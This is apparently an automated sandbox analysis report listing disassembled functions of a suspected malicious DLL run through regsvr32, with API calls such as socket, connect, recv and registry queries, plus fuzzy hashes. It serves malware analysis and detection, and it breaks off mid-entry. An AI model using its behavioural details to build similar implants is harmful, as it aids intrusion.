Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: InformationProcessQuery$ErrorInfo
String ID:
API String ID: 2443618835-0
Opcode ID: 4a14874b0578123b135bf6367470ac8cec174dea00645e89a4e4b4a5fade4fc7
Instruction ID: a8c58b96e04eb2e68ca1e28c56473d9a394e018f3c72161dcf3fdca5b39558d7
Opcode Fuzzy Hash: 4a14874b0578123b135bf6367470ac8cec174dea00645e89a4e4b4a5fade4fc7
Instruction Fuzzy Hash: 7281A2B1E00209ABEB308F59CE85BAEB7B8AF15708F148934E914E7641F775DD1487B1

Function 02632FB0 Relevance: 3.1, APIs: 2, Instructions: 82networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 02633023
recv.WS2_32(?,?,00040000,00000000), ref: 02633044

Part of subcall function 026372CD: __getptd_noexit.LIBCMT ref: 026372CD

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: __getptd_noexitrecvselect
String ID:
API String ID: 4248608111-0
Opcode ID: f85c3bd416469113dbdb5450d9eee8e1f3aeaf3aa75b828da6dbeba89133a4a6
Instruction ID: 6cd3c2cada555c20afbb29b33e1f85ba8c27b8abb8f07c1d46794a4cb797570d
Opcode Fuzzy Hash: f85c3bd416469113dbdb5450d9eee8e1f3aeaf3aa75b828da6dbeba89133a4a6
Instruction Fuzzy Hash: C821A3B0E00248ABDB22EF64DC84B9A77B5EF55314F1001E5E515AB3D0D7B0A994CFE5

Function 6C8ADE90 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

BCryptGenRandom.BCRYPT(00000000,00000020,?,00000002,00000000,?,?,?,6C8AD9A7,?,?,00000000,?,?,6C8A7D04,?), ref: 6C8ADEA7
SystemFunction036.ADVAPI32(00000020,?,00000000,00000020,?,00000002,00000000,?,?,?,6C8AD9A7,?,?,00000000,?), ref: 6C8ADEB9

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: CryptFunction036RandomSystem
String ID:
API String ID: 1232939966-0
Opcode ID: a72cf556a5df5e0ec72b18827bdd167bdaaab077361702e8cf1df98d307ec36f
Instruction ID: 8540e9f4d83e5db932b49887c37cc21bcf2c7de18a38aae1be3eebfdab0e943e
Opcode Fuzzy Hash: a72cf556a5df5e0ec72b18827bdd167bdaaab077361702e8cf1df98d307ec36f
Instruction Fuzzy Hash: 46E048736022297AEB2015E69DC1FD6BB8DDBA6AE8F114622FE1897590C671CC5601E0

Function 6C8E5B50 Relevance: 33.6, APIs: 18, Strings: 1, Instructions: 311
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32(?), ref: 6C8E5BB9
CloseHandle.KERNEL32(?), ref: 6C8E5E2B
CloseHandle.KERNEL32(?,?), ref: 6C8E5E69
CloseHandle.KERNEL32(?,?,?), ref: 6C8E5E71

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6C8E5C3D, 6C8E5DAE, 6C8E5DD7

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: CloseHandle
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 2962429428-2333694755
Opcode ID: e19651428e5a36827944cc94e7746eeceeeceaa788947510b8d94c2075065365
Instruction ID: 609327311cc722e85ecf3706d192126fbfbd4cd0d185b8e4ab5d5c29c226b191
Opcode Fuzzy Hash: e19651428e5a36827944cc94e7746eeceeeceaa788947510b8d94c2075065365
Instruction Fuzzy Hash: E9C17A70D01319ABDF20DFA4CD44ADEBBB5BF5A308F104629E815BB740E7349985CBA0

Function 02632D80 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 203
networkstringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32(?), ref: 02632D9B
InterlockedExchange.KERNEL32(?,00000000), ref: 02632DA7
timeGetTime.WINMM ref: 02632DAD
socket.WS2_32(00000002,00000001,00000006), ref: 02632DDA
lstrlenW.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 02632E06
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 02632E12
lstrlenW.KERNEL32(?,00000000,000000CA,00000000,00000000), ref: 02632E31
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 02632E3D
gethostbyname.WS2_32(00000000), ref: 02632E4B
htons.WS2_32(?), ref: 02632E6D
connect.WS2_32(?,?,00000010), ref: 02632E8B

Strings

0u, xrefs: 02632EFC

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$EventExchangeInterlockedResetTimeconnectgethostbynamehtonssockettime
String ID: 0u
API String ID: 640718063-3203441087
Opcode ID: b85f29f57907a233d42da02ccfcdcc3505e6aced871a4dbc228533796a211d1e
Instruction ID: 673d44ddc6b4b33d098faafccd4fae5d62759e290bc88125e692fe83c61f9100
Opcode Fuzzy Hash: b85f29f57907a233d42da02ccfcdcc3505e6aced871a4dbc228533796a211d1e
Instruction Fuzzy Hash: 49613075A80308ABE720DFA4DC45FAEB7F9FF58B10F504519FA46A72C0D7B0A9448B64

Function 6C87A960 Relevance: 17.9, APIs: 2, Strings: 8, Instructions: 427
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhCollectQueryData.PDH(?), ref: 6C87A98A

Part of subcall function 6C85B920: memcmp.MSVCRT(?,00000030,5F28726F), ref: 6C85B9F0
Part of subcall function 6C85B920: PdhGetFormattedCounterValue.PDH(00000030,00000200,00000000,?), ref: 6C85BA55

PdhOpenQueryA.PDH(00000000,00000000,00000000), ref: 6C87AAC7

Strings

cess, xrefs: 6C87AC9D
global_key_idle disappearedC:\Users\win10-x64\.cargo\registry\src\index.crates.io-1cd66030c949c28d\sysinfo-0.32.0\src\windows\system.rs, xrefs: 6C87AE1C
cannot access a Thread Local Storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs, xrefs: 6C87AE37
l)\%, xrefs: 6C87AC88
e Ti, xrefs: 6C87AC7A
Tota, xrefs: 6C87AC8F
or(_, xrefs: 6C87AC96
Idl, xrefs: 6C87AC81

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Query$CollectCounterDataFormattedOpenValuememcmp
String ID: Idl$Tota$cannot access a Thread Local Storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs$cess$e Ti$global_key_idle disappearedC:\Users\win10-x64\.cargo\registry\src\index.crates.io-1cd66030c949c28d\sysinfo-0.32.0\src\windows\system.rs$l)\%$or(_
API String ID: 3579676406-1093267101
Opcode ID: c40792008926a886f1f3f44d182e0a3fa26a1716ee18c2ebdc00df2a96f66c86
Instruction ID: 538d5d75a9f996407671e02ca933dc7f4e98c2b5e8f591e2a8731749345aa4a8
Opcode Fuzzy Hash: c40792008926a886f1f3f44d182e0a3fa26a1716ee18c2ebdc00df2a96f66c86
Instruction Fuzzy Hash: 2C02F471905305AFD720CF14C980BABBBE0BF95708F148A2DF89857791E771E958CBA2

Function 6C948390 Relevance: 15.1, APIs: 10, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32 ref: 6C9483AD

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: f26be120ee58e6dbfe7adb4fd79cca90671ce8336a37477147a5edaeff0c80bc
Instruction ID: 0018c5b46947ea84774c7ea058d9ee126c30fc6f7f08d4e99c0c36bc33b9a03c
Opcode Fuzzy Hash: f26be120ee58e6dbfe7adb4fd79cca90671ce8336a37477147a5edaeff0c80bc
Instruction Fuzzy Hash: 8D3137B1A093009FEB00AF69D58831ABFF8EB55314F10856AE894C7346E775C558CF92

Function 6C8F2F20 Relevance: 10.7, APIs: 7, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C8F3180: CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,00000000,?,6C8F2F39,?), ref: 6C8F3192

CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8F2F50

Part of subcall function 6C8B0DE0: CloseHandle.KERNEL32(?,000000FF), ref: 6C8B0DF3
Part of subcall function 6C8B0DE0: CloseHandle.KERNEL32(?,?,000000FF), ref: 6C8B0DFB

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: CloseHandle$CreateEvent
String ID:
API String ID: 1371578007-0
Opcode ID: b691043e6636398c8592cb971b62441a41bdf871ac5afe1d16dd0f59f36987b2
Instruction ID: 9c93f44e1e1ac6c4aa023592a6554434b2570ba0dc1f82e9a669eb13f4823410
Opcode Fuzzy Hash: b691043e6636398c8592cb971b62441a41bdf871ac5afe1d16dd0f59f36987b2
Instruction Fuzzy Hash: 52615FB0E04658DBDB20CFA9C9806DEBBB5BF49354F14492AE825B7740DB309C46CB22

Function 026373DB Relevance: 10.6, APIs: 7, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___set_flsgetvalue.LIBCMT ref: 02637400
__calloc_crt.LIBCMT ref: 0263740C
__getptd.LIBCMT ref: 02637419
CreateThread.KERNEL32(?,?,02637376,00000000,?,?), ref: 02637450
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 0263745A
_free.LIBCMT ref: 02637463
__dosmaperr.LIBCMT ref: 0263746E

Part of subcall function 026372CD: __getptd_noexit.LIBCMT ref: 026372CD

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
String ID:
API String ID: 155776804-0
Opcode ID: 0816edfaef114579a8d274e086a4b358523922ee63e3b854c520e58ef16615d3
Instruction ID: cd547a6a01a16bcd3a0f1fef80dd357da591227a7e954de1422035d9bfadfaed
Opcode Fuzzy Hash: 0816edfaef114579a8d274e086a4b358523922ee63e3b854c520e58ef16615d3
Instruction Fuzzy Hash: 3C114872540386AFE713AFB4DC40E9FBBDAEF05374B00442DF96486241DB71E4008EA4

Function 02637376 Relevance: 10.5, APIs: 7, Instructions: 34
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___set_flsgetvalue.LIBCMT ref: 0263737C

Part of subcall function 02639878: TlsGetValue.KERNEL32(?,02637381), ref: 02639881
Part of subcall function 02639878: RtlDecodePointer.NTDLL ref: 02639893
Part of subcall function 02639878: TlsSetValue.KERNEL32(00000000,?,02637381), ref: 026398A2

___fls_getvalue@4.LIBCMT ref: 02637387

Part of subcall function 02639858: TlsGetValue.KERNEL32(?,?,0263738C,00000000), ref: 02639866

___fls_setvalue@8.LIBCMT ref: 0263739A

Part of subcall function 026398AC: RtlDecodePointer.NTDLL(?), ref: 026398BD

GetLastError.KERNEL32(00000000,?,00000000), ref: 026373A3
RtlExitUserThread.NTDLL(00000000), ref: 026373AA
GetCurrentThreadId.KERNEL32 ref: 026373B0
__freefls@4.LIBCMT ref: 026373D0

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: Value$DecodePointerThread$CurrentErrorExitLastUser___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 2876972746-0
Opcode ID: fec77024fecd0786212b5332df6c86302f8fadd4361f6e31e833a559b1c06ee3
Instruction ID: f8ec2dbbc8de401f76843818fd3c2daf99b914e13d071a2f74d0ddf5757602f7
Opcode Fuzzy Hash: fec77024fecd0786212b5332df6c86302f8fadd4361f6e31e833a559b1c06ee3
Instruction Fuzzy Hash: 94F03AB8541644ABD70ABF71C94894EBBEAEF88340350C85CE8468B311DB74E8428FA9

Function 0263736A Relevance: 9.0, APIs: 6, Instructions: 29
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 026383D2: _doexit.LIBCMT ref: 026383DE

___set_flsgetvalue.LIBCMT ref: 0263737C

Part of subcall function 02639878: TlsGetValue.KERNEL32(?,02637381), ref: 02639881
Part of subcall function 02639878: RtlDecodePointer.NTDLL ref: 02639893
Part of subcall function 02639878: TlsSetValue.KERNEL32(00000000,?,02637381), ref: 026398A2

___fls_getvalue@4.LIBCMT ref: 02637387

Part of subcall function 02639858: TlsGetValue.KERNEL32(?,?,0263738C,00000000), ref: 02639866

___fls_setvalue@8.LIBCMT ref: 0263739A

Part of subcall function 026398AC: RtlDecodePointer.NTDLL(?), ref: 026398BD

GetLastError.KERNEL32(00000000,?,00000000), ref: 026373A3
RtlExitUserThread.NTDLL(00000000), ref: 026373AA
GetCurrentThreadId.KERNEL32 ref: 026373B0
__freefls@4.LIBCMT ref: 026373D0

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: Value$DecodePointerThread$CurrentErrorExitLastUser___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
String ID:
API String ID: 811752470-0
Opcode ID: 52f955a77cda6ee3d85607626bb12db13f9d038e95c19b838b26b6b59c27f4c0
Instruction ID: 94ecb72782484b4e6e624e5d1b8f95e4348a59825d7f7a34d4827ef85bbd0b6a
Opcode Fuzzy Hash: 52f955a77cda6ee3d85607626bb12db13f9d038e95c19b838b26b6b59c27f4c0
Instruction Fuzzy Hash: FBE01B75941649A7DB133BF18C0859F7A9EDD55340B504C18ED5293100DF74E8514FF9

Function 6C8F3180 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,00000000,?,6C8F2F39,?), ref: 6C8F3192
GetLastError.KERNEL32(00000000,00000001,00000001,00000000,?,?,00000000,?,6C8F2F39,?), ref: 6C8F31DB
CloseHandle.KERNEL32(?,00000000,00000001,00000001,00000000,?,?,00000000,?,6C8F2F39,?), ref: 6C8F31EE
CloseHandle.KERNEL32(00000000,?,?,6C8F2F39,?), ref: 6C8F3209
CloseHandle.KERNEL32(?,00000000,?,?,6C8F2F39,?), ref: 6C8F320F

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: CloseHandle$CreateErrorEventLast
String ID:
API String ID: 3743700123-0
Opcode ID: af77b15589d869b31cbb582a8d48f8dc5b8d17b895ef85dbcbb50f3167cdd8b0
Instruction ID: e4b2caec166d6cb1a6e2a5cc2cf9c0d4e178b801e811db168b11c98f1f9ba4c5
Opcode Fuzzy Hash: af77b15589d869b31cbb582a8d48f8dc5b8d17b895ef85dbcbb50f3167cdd8b0
Instruction Fuzzy Hash: F51129B06107067FE3109F358C41B95B7A4BF66308F108265F2189BB81EBB0D494C7A1

Function 02632D10 Relevance: 7.5, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 02632D3C
CancelIo.KERNEL32(?), ref: 02632D46
InterlockedExchange.KERNEL32(00000000,00000000), ref: 02632D4F
closesocket.WS2_32(?), ref: 02632D59
SetEvent.KERNEL32(00000001), ref: 02632D63

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: CancelEventExchangeInterlockedclosesocketsetsockopt
String ID:
API String ID: 1486965892-0
Opcode ID: 4c51554fff4b9ee11b9d59c2c84d679e3cb0630f161f8827e022de358ba1b7a4
Instruction ID: 2e5fe343da5bc9a9392d917abab55d23dd44a53dc17f4c7a0fbf98d266e51537
Opcode Fuzzy Hash: 4c51554fff4b9ee11b9d59c2c84d679e3cb0630f161f8827e022de358ba1b7a4
Instruction Fuzzy Hash: 3EF03C7A540700ABD3209F54DC49F5A77F8BB49B11F505A59F68297680C7B0B9848BA0

Function 6C8A7CA0 Relevance: 6.4, APIs: 5, Instructions: 193COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000004), ref: 6C8A7CBB
memset.MSVCRT ref: 6C8A7D82
TlsGetValue.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C8A7E08
TlsSetValue.KERNEL32(00000000,00000000,00000000), ref: 6C8A7E15
TlsGetValue.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000004), ref: 6C8A7E62

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Value$memset
String ID:
API String ID: 3732838118-0
Opcode ID: c3fe77403436817711885dbb76b6373f3b3a6dcb25a9bc0770869c86a6a82962
Instruction ID: a07b8fe76749b121f734908dc7aec39dd43ddfca3e7deb292bbb191cf5f8c3d7
Opcode Fuzzy Hash: c3fe77403436817711885dbb76b6373f3b3a6dcb25a9bc0770869c86a6a82962
Instruction Fuzzy Hash: 8B615871904340ABE7108F648D41BDAB7F4BFA570CF044918FA489B741E775E91987E2

Function 02635E40 Relevance: 6.2, APIs: 4, Instructions: 186registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02635E71

Part of subcall function 02635D70: _memset.LIBCMT ref: 02635D92

RegOpenKeyExW.KERNEL32(80000001,0264769C,00000000,00020019,?), ref: 0263601B
RegQueryValueExW.KERNEL32(?,026476AC,00000000,00000003,00000000,00000000), ref: 02636040
_memset.LIBCMT ref: 02636058

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: _memset$OpenQueryValue
String ID:
API String ID: 264051494-0
Opcode ID: 16efc1b962aa4c36183fb33e83015cc8f937e552439a994bc180ba3955c5dd8f
Instruction ID: 3c9ba49ddd92fe68c2ffd53a315e01e39c9fc11e82a7e38e263791b01c24efc9
Opcode Fuzzy Hash: 16efc1b962aa4c36183fb33e83015cc8f937e552439a994bc180ba3955c5dd8f
Instruction Fuzzy Hash: C35198B4BC174579F723BAA46C0BF5DBB564B15F04FA0004AB6833A2C15EE075844DAE

Function 02636120 Relevance: 6.2, APIs: 4, Instructions: 172sleepsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 02637734: __fassign.LIBCMT ref: 0263772A

Sleep.KERNEL32(00000000), ref: 0263615C

Part of subcall function 026370D7: _malloc.LIBCMT ref: 026370F1

Sleep.KERNEL32(00000000), ref: 026362C1
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0263630D

Part of subcall function 02632C60: WSAStartup.WS2_32(00000202,?), ref: 02632CBF
Part of subcall function 02632C60: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 02632CCA
Part of subcall function 02632C60: InterlockedExchange.KERNEL32(00000018,00000000), ref: 02632CD8

WaitForSingleObject.KERNEL32(?,000000FF), ref: 02636357

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: CreateEventSleep$ExchangeInterlockedObjectSingleStartupWait__fassign_malloc
String ID:
API String ID: 1042251235-0
Opcode ID: 2875d458f7d7aa69e61089d8da31bd556430c46a1214b58ad946d1e5f0efe4fd
Instruction ID: e3c68ce6747ecf2ff0e52f83d47690ff200e07974737b06f5d79209b19bfc5f2
Opcode Fuzzy Hash: 2875d458f7d7aa69e61089d8da31bd556430c46a1214b58ad946d1e5f0efe4fd
Instruction Fuzzy Hash: E551F5B4E82305AFEB01EFA4DCC1A6EB7B5BF49714F101A19E451A7380CF709950CB95

Function 026370D7 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 026370F1

Part of subcall function 02637043: __FF_MSGBANNER.LIBCMT ref: 0263705C
Part of subcall function 02637043: __NMSG_WRITE.LIBCMT ref: 02637063
Part of subcall function 02637043: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 02637088

std::exception::exception.LIBCMT ref: 02637126
std::exception::exception.LIBCMT ref: 02637140
__CxxThrowException@8.LIBCMT ref: 02637151

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: 77970f782aadafbbaf7a9ed2403f98918c1b21df278712a9780f300333e0c0d1
Instruction ID: 3ada6116d381a6de4736ae02b7c95d612ea17b9470d1c885ebef523645cb2fba
